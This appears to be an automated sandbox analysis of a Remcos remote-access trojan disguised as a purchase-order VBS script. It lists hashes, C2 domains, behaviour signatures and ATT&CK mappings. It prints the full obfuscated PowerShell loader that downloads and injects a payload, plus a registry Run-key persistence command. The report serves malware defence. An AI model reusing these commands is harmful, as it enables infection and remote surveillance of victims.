remcos | 61b851b7ac68b2a0de6670bb8f469bb87433d0704d677e5ad7fcd7018ad8aded

General

Target

Order No. SO5395.vbs
Size

33KB
MD5

48faebaa28c95c83d93917a3a1f6e024
SHA1

278680bbc2421ef61c5d8e16b7ed7fe80187ec5f
SHA256

aac11c507cba9a025b8925d2f2a4f254101e77c32c16afd43c2d9fe4e11b3236
SHA512

58cc57a27097b49a9955af23c79fe49e3376ca6ee4192eec46516bdb0fea7473e4dea3fdd4163c3002b6af439bdc63b11ccf3723d105fc1dbac4edde0661a1b8
SSDEEP

768:zeifDbZ2ZBkPMag2vSJtVxInTm6tgmZJFvn0S1l0:NfDMDkk8SJnOTRfJRn0cl0

Score

10^/10

remcos rem discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

REM

C2

rem9rrr.duckdns.org:60178

rem9rrr2.duckdns.org:61202

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-QHBC6V
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	5400	WScript.exe
14	4680	powershell.exe
59	2096	msiexec.exe
65	2096	msiexec.exe
67	2096	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Stroppernes = "%Pascalrutiner% -windowstyle 1 $Belizeres=(gi 'HKCU:\\Software\\Babblative\\').GetValue('Regnefunktionen');%Pascalrutiner% ($Belizeres)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2096	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5036	powershell.exe
2096	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4680	powershell.exe
4680	powershell.exe
5036	powershell.exe
5036	powershell.exe
5036	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
5036	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4680	powershell.exe
Token: SeDebugPrivilege	5036	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2096	msiexec.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5400 wrote to memory of 4680	5400	WScript.exe	89
PID 5400 wrote to memory of 4680	5400	WScript.exe	89
PID 5036 wrote to memory of 2096	5036	powershell.exe	101
PID 5036 wrote to memory of 2096	5036	powershell.exe	101
PID 5036 wrote to memory of 2096	5036	powershell.exe	101
PID 5036 wrote to memory of 2096	5036	powershell.exe	101
PID 2096 wrote to memory of 1476	2096	msiexec.exe	107
PID 2096 wrote to memory of 1476	2096	msiexec.exe	107
PID 2096 wrote to memory of 1476	2096	msiexec.exe	107
PID 1476 wrote to memory of 3148	1476	cmd.exe	109
PID 1476 wrote to memory of 3148	1476	cmd.exe	109
PID 1476 wrote to memory of 3148	1476	cmd.exe	109

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Order No. SO5395.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Refathered='func';Get-History;$Refathered+='t';Get-History;$Refathered+='i';$Brystprotesers=Get-History;$Refathered+='on:';$Brystprotesers=Get-History;(ni -p $Refathered -n Episodal -value { param($Udsningers);$Skrivekrampen=1;do {$Franks221+=$Udsningers[$Skrivekrampen];$Skrivekrampen+=2} until(!$Udsningers[$Skrivekrampen])$Franks221});(ni -p $Refathered -n dowagers -value {param($Drunkest);.($Trykknappen) ($Drunkest)});ConvertTo-Html;$Checklisternes=Episodal 'SN e t .CW';$Checklisternes+=Episodal ' EBBTc L.iGE nOt';$Overcreed=Episodal 'CM.o zSi lal a /';$Retinaculate194=Episodal ' T.lMsP1D2';$Confeder='B[HN EMtN.LSJE.r v IAcFESPRoPiAn,TnmFa n A,G,e r ] :S: SSECcAU r I tMY p rRo tBO cTOKLF= $ r,eStSiFNiaSc.UNL aTT eT1 9U4';$Overcreed+=Episodal 'K5 .L0 ,( W iAnTdBoOw se HNeT, 1S0M..0F;C BWPi nS6B4 ;O DxZ6K4 ;L HrMvg: 1 3 4V.P0 )D TGSeLc kOo /H2j0A1 0K0F1.0O1h sFRi rOeKf o x./ 1d3M4Y.,0';$Relinking=Episodal ' uks.eSRS-IADG eFnST';$Syllogistiske=Episodal ' h tBt pS:M/D/.u,p n eKt .,bPgS/ c n,/,NTo nPcMr eMd u l.o uIs ..d espLlSoFy';$Hjemvisningsreaktions=Episodal ' >';$Trykknappen=Episodal 'kI E x';$Slsomme='Pragmaticism';$Finansministres='\Snapreprisers.Pud';dowagers (Episodal ' $ GSLToObNASLL:GRSeSA M e.r eCRU= $UE NaV :gASPsP dLA T aP+U$AfKiInRa N sRm.iGN I S,T rAE.S');dowagers (Episodal 'E$AgIl O,bSatLN:Ms t aBNSdAE e.SB= $,SAYVL l O gTI s TDI SBKTE . s pQlri TB( $ h jAE m vTiGS,N i NkgIS RUE.asK tDi OCnLs.)');dowagers (Episodal $Confeder);$Syllogistiske=$Standees[0];$Restamped=(Episodal ',$AG l.ogB aDL.: rfe.N,tSeRbAE LcbSEAN,E.sD=CNPE Wl-rOPB jSeScETS SSCy sStIe.mS. $EcBH ehcKK LAiCsGt ePRnN.ePs');dowagers ($Restamped);dowagers (Episodal 'T$AR e n tpe b ePlUb eHn ensC.UH eAaGd eCrSs [,$ RTe.lNi n k iSnSg ]R=O$ O vWe r.c,r e e d');$Tauris=Episodal ' DFo wAnGl o aDd.FIi l e';$Sandsynliggr=Episodal 'V$,RAeHn tFeAb e.l,b,eFnMe,sA. $RTNa u r iEsI.SI,n v o k eF(a$OSVy lSlAo gAi s t iVs,kgeP, $ScDhPiAkMa nPe rSeF)';$chikanere=$Reamerer;dowagers (Episodal ' $,g.L OEbBA L,:TpGRTe C iPP I C,e DS=.(NT ePsPtP-CpVASTTh W$AC.H I K aSn e RKE )');while (!$Precipiced) {dowagers (Episodal ' $TgVl oCb aclU:cR,eMaNk t,iPoHnJsUm isdFlCe rP= $ UFnMd eSr cIo m.p o uLn d eRd') ;dowagers $Sandsynliggr;dowagers (Episodal 'U[FtTHSrVe a D i,n GS.STDH R EFa DU]N:N:DsOLFE e.pA(D4 0E0K0 )');dowagers (Episodal '.$ GNl,O B.aLLN: PuRSEUC I.p.I cGeAD,=S(FtTEBSUTT-nPUA.T HM $ c h i K A n.e,RVe )') ;dowagers (Episodal 'V$ag l oMb.a,lG:IRfa TSAUK S,E.La= $ gclTo B AVLG:RFPISb,rTOTcMa sNENo u s + +R%D$Os t aMnPdCEBeSs . C o,u,nAT') ;$Syllogistiske=$Standees[$Rataksel]}$koncentrationerne=408863;$Lopsidedness=26905;dowagers (Episodal ' $TG l O bOa.LO: I T aMl iRO T e U= FGsE t,- C O NJtME nSTR $UcPh I k,A nMEAR E');dowagers (Episodal '.$PgUlWoCbGa l :FUMdPt rDd eVl s e r n eMs = S[CS yOsTt eCm,.RCUo,nUvAeLr.t ] :.:TFLr o.mBBFaEs e 6P4ASSt rSi,n.g,(F$ I,t a,l iOoSt eU)');dowagers (Episodal ' $Sg lToMbIaDlT: R E,c IaT Alt iAV eSlFy =, S[ASuy S t EDmC.GTUebx TT. eHn,cNoIDTiONAGU] :S:AaFs CLI I .Cg ESt.S T R ITn,g ( $GU d,t rZD e L,sTE.r nMEFsT)');dowagers (Episodal 'P$PG lAO bGAPLB: FOe l t d.E fNiON.I,TSISo n =K$IRTe.c I T.a ToIEvOEeLFy .ASEUnB s t,r iPn,g ( $ KSO nJcSeSn T R A t i OKN EFRLnSER, $,lEO P.srI D ERd N e s sS)');dowagers $Feltdefinition;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4680

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Refathered='func';Get-History;$Refathered+='t';Get-History;$Refathered+='i';$Brystprotesers=Get-History;$Refathered+='on:';$Brystprotesers=Get-History;(ni -p $Refathered -n Episodal -value { param($Udsningers);$Skrivekrampen=1;do {$Franks221+=$Udsningers[$Skrivekrampen];$Skrivekrampen+=2} until(!$Udsningers[$Skrivekrampen])$Franks221});(ni -p $Refathered -n dowagers -value {param($Drunkest);.($Trykknappen) ($Drunkest)});ConvertTo-Html;$Checklisternes=Episodal 'SN e t .CW';$Checklisternes+=Episodal ' EBBTc L.iGE nOt';$Overcreed=Episodal 'CM.o zSi lal a /';$Retinaculate194=Episodal ' T.lMsP1D2';$Confeder='B[HN EMtN.LSJE.r v IAcFESPRoPiAn,TnmFa n A,G,e r ] :S: SSECcAU r I tMY p rRo tBO cTOKLF= $ r,eStSiFNiaSc.UNL aTT eT1 9U4';$Overcreed+=Episodal 'K5 .L0 ,( W iAnTdBoOw se HNeT, 1S0M..0F;C BWPi nS6B4 ;O DxZ6K4 ;L HrMvg: 1 3 4V.P0 )D TGSeLc kOo /H2j0A1 0K0F1.0O1h sFRi rOeKf o x./ 1d3M4Y.,0';$Relinking=Episodal ' uks.eSRS-IADG eFnST';$Syllogistiske=Episodal ' h tBt pS:M/D/.u,p n eKt .,bPgS/ c n,/,NTo nPcMr eMd u l.o uIs ..d espLlSoFy';$Hjemvisningsreaktions=Episodal ' >';$Trykknappen=Episodal 'kI E x';$Slsomme='Pragmaticism';$Finansministres='\Snapreprisers.Pud';dowagers (Episodal ' $ GSLToObNASLL:GRSeSA M e.r eCRU= $UE NaV :gASPsP dLA T aP+U$AfKiInRa N sRm.iGN I S,T rAE.S');dowagers (Episodal 'E$AgIl O,bSatLN:Ms t aBNSdAE e.SB= $,SAYVL l O gTI s TDI SBKTE . s pQlri TB( $ h jAE m vTiGS,N i NkgIS RUE.asK tDi OCnLs.)');dowagers (Episodal $Confeder);$Syllogistiske=$Standees[0];$Restamped=(Episodal ',$AG l.ogB aDL.: rfe.N,tSeRbAE LcbSEAN,E.sD=CNPE Wl-rOPB jSeScETS SSCy sStIe.mS. $EcBH ehcKK LAiCsGt ePRnN.ePs');dowagers ($Restamped);dowagers (Episodal 'T$AR e n tpe b ePlUb eHn ensC.UH eAaGd eCrSs [,$ RTe.lNi n k iSnSg ]R=O$ O vWe r.c,r e e d');$Tauris=Episodal ' DFo wAnGl o aDd.FIi l e';$Sandsynliggr=Episodal 'V$,RAeHn tFeAb e.l,b,eFnMe,sA. $RTNa u r iEsI.SI,n v o k eF(a$OSVy lSlAo gAi s t iVs,kgeP, $ScDhPiAkMa nPe rSeF)';$chikanere=$Reamerer;dowagers (Episodal ' $,g.L OEbBA L,:TpGRTe C iPP I C,e DS=.(NT ePsPtP-CpVASTTh W$AC.H I K aSn e RKE )');while (!$Precipiced) {dowagers (Episodal ' $TgVl oCb aclU:cR,eMaNk t,iPoHnJsUm isdFlCe rP= $ UFnMd eSr cIo m.p o uLn d eRd') ;dowagers $Sandsynliggr;dowagers (Episodal 'U[FtTHSrVe a D i,n GS.STDH R EFa DU]N:N:DsOLFE e.pA(D4 0E0K0 )');dowagers (Episodal '.$ GNl,O B.aLLN: PuRSEUC I.p.I cGeAD,=S(FtTEBSUTT-nPUA.T HM $ c h i K A n.e,RVe )') ;dowagers (Episodal 'V$ag l oMb.a,lG:IRfa TSAUK S,E.La= $ gclTo B AVLG:RFPISb,rTOTcMa sNENo u s + +R%D$Os t aMnPdCEBeSs . C o,u,nAT') ;$Syllogistiske=$Standees[$Rataksel]}$koncentrationerne=408863;$Lopsidedness=26905;dowagers (Episodal ' $TG l O bOa.LO: I T aMl iRO T e U= FGsE t,- C O NJtME nSTR $UcPh I k,A nMEAR E');dowagers (Episodal '.$PgUlWoCbGa l :FUMdPt rDd eVl s e r n eMs = S[CS yOsTt eCm,.RCUo,nUvAeLr.t ] :.:TFLr o.mBBFaEs e 6P4ASSt rSi,n.g,(F$ I,t a,l iOoSt eU)');dowagers (Episodal ' $Sg lToMbIaDlT: R E,c IaT Alt iAV eSlFy =, S[ASuy S t EDmC.GTUebx TT. eHn,cNoIDTiONAGU] :S:AaFs CLI I .Cg ESt.S T R ITn,g ( $GU d,t rZD e L,sTE.r nMEFsT)');dowagers (Episodal 'P$PG lAO bGAPLB: FOe l t d.E fNiON.I,TSISo n =K$IRTe.c I T.a ToIEvOEeLFy .ASEUnB s t,r iPn,g ( $ KSO nJcSeSn T R A t i OKN EFRLnSER, $,lEO P.srI D ERd N e s sS)');dowagers $Feltdefinition;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5036
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Stroppernes" /t REG_EXPAND_SZ /d "%Pascalrutiner% -windowstyle 1 $Belizeres=(gi 'HKCU:\Software\Babblative\').GetValue('Regnefunktionen');%Pascalrutiner% ($Belizeres)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1476
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Stroppernes" /t REG_EXPAND_SZ /d "%Pascalrutiner% -windowstyle 1 $Belizeres=(gi 'HKCU:\Software\Babblative\').GetValue('Regnefunktionen');%Pascalrutiner% ($Belizeres)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:3148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
b155652ec09dc63ead374e6708d2c8d5

SHA1
0469f89de967bbdc0fd3da9cb9f53db4f771746f

SHA256
bad9d6a71d66d4e19d648d6271150558c757c3413ba2cf11cf22b0c30407bd25

SHA512
16d1e996985e8bd2f48e39e509d8b2b6e26772a98031b6f8b03fa8ee3dad6ff92ae9edce4d00c2628ca943a35915a8abaf6872256a66559f98bc6f554de999ca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1110cdbdb1f25f7b16ed18728b8ee3b5

SHA1
731b4953a74b7b7ae2134b1245d390a4e347386d

SHA256
522a2e9ae1a63c722e78a2b3d36ab6e0c377a0c857924bb69f81ff7007bedab9

SHA512
e58270b216aa0d0ffd6c8740120472a780755ceac4b07aeda37063edf898eefecefe8ed6407897a64e9a271df1a2b47fcd28572414aae5a7573e58c02abc0566

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ttmedl3e.d3w.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Snapreprisers.Pud

Filesize
567KB

MD5
baf7202653fbd804346a9372c73ed917

SHA1
181b67347342e16baad1b2be97dc6592151f3867

SHA256
648cc18699c572922b83509156081adb8303847f325cfe187602d20eb291e322

SHA512
fc1b98827b92902cde32b36749144b699c256130fce59d8576e2178d428bd5bd48ef76efe243019919e14d320f38fd6addd959d3d5fe60dc6bf563950c3893d2

Download Submit
memory/2096-65-0x0000000001270000-0x00000000024C4000-memory.dmp

Filesize
18.3MB

Download
memory/2096-62-0x0000000001270000-0x00000000024C4000-memory.dmp

Filesize
18.3MB

Download
memory/2096-50-0x0000000001270000-0x00000000024C4000-memory.dmp

Filesize
18.3MB

Download
memory/2096-51-0x0000000001270000-0x00000000024C4000-memory.dmp

Filesize
18.3MB

Download
memory/2096-80-0x0000000001270000-0x00000000024C4000-memory.dmp

Filesize
18.3MB

Download
memory/2096-55-0x0000000001270000-0x00000000024C4000-memory.dmp

Filesize
18.3MB

Download
memory/2096-77-0x0000000001270000-0x00000000024C4000-memory.dmp

Filesize
18.3MB

Download
memory/2096-74-0x0000000001270000-0x00000000024C4000-memory.dmp

Filesize
18.3MB

Download
memory/2096-71-0x0000000001270000-0x00000000024C4000-memory.dmp

Filesize
18.3MB

Download
memory/2096-68-0x0000000001270000-0x00000000024C4000-memory.dmp

Filesize
18.3MB

Download
memory/2096-59-0x0000000001270000-0x00000000024C4000-memory.dmp

Filesize
18.3MB

Download
memory/4680-15-0x00007FFD4AC60000-0x00007FFD4B721000-memory.dmp

Filesize
10.8MB

Download
memory/4680-14-0x00007FFD4AC60000-0x00007FFD4B721000-memory.dmp

Filesize
10.8MB

Download
memory/4680-19-0x00007FFD4AC60000-0x00007FFD4B721000-memory.dmp

Filesize
10.8MB

Download
memory/4680-16-0x000001687D3A0000-0x000001687D3C2000-memory.dmp

Filesize
136KB

Download
memory/4680-4-0x00007FFD4AC63000-0x00007FFD4AC65000-memory.dmp

Filesize
8KB

Download
memory/4680-23-0x00007FFD4AC60000-0x00007FFD4B721000-memory.dmp

Filesize
10.8MB

Download
memory/4680-20-0x00007FFD4AC60000-0x00007FFD4B721000-memory.dmp

Filesize
10.8MB

Download
memory/5036-25-0x0000000005620000-0x0000000005C48000-memory.dmp

Filesize
6.2MB

Download
memory/5036-48-0x0000000008F20000-0x000000000EB17000-memory.dmp

Filesize
92.0MB

Download
memory/5036-46-0x00000000088A0000-0x0000000008F1A000-memory.dmp

Filesize
6.5MB

Download
memory/5036-45-0x0000000007C70000-0x0000000008214000-memory.dmp

Filesize
5.6MB

Download
memory/5036-44-0x0000000006970000-0x0000000006992000-memory.dmp

Filesize
136KB

Download
memory/5036-43-0x0000000006920000-0x000000000693A000-memory.dmp

Filesize
104KB

Download
memory/5036-42-0x0000000007380000-0x0000000007416000-memory.dmp

Filesize
600KB

Download
memory/5036-41-0x0000000006430000-0x000000000647C000-memory.dmp

Filesize
304KB

Download
memory/5036-40-0x0000000006400000-0x000000000641E000-memory.dmp

Filesize
120KB

Download
memory/5036-38-0x0000000005DB0000-0x0000000006104000-memory.dmp

Filesize
3.3MB

Download
memory/5036-28-0x0000000005CC0000-0x0000000005D26000-memory.dmp

Filesize
408KB

Download
memory/5036-27-0x0000000005C50000-0x0000000005CB6000-memory.dmp

Filesize
408KB

Download
memory/5036-26-0x0000000005520000-0x0000000005542000-memory.dmp

Filesize
136KB

Download
memory/5036-24-0x0000000002AF0000-0x0000000002B26000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads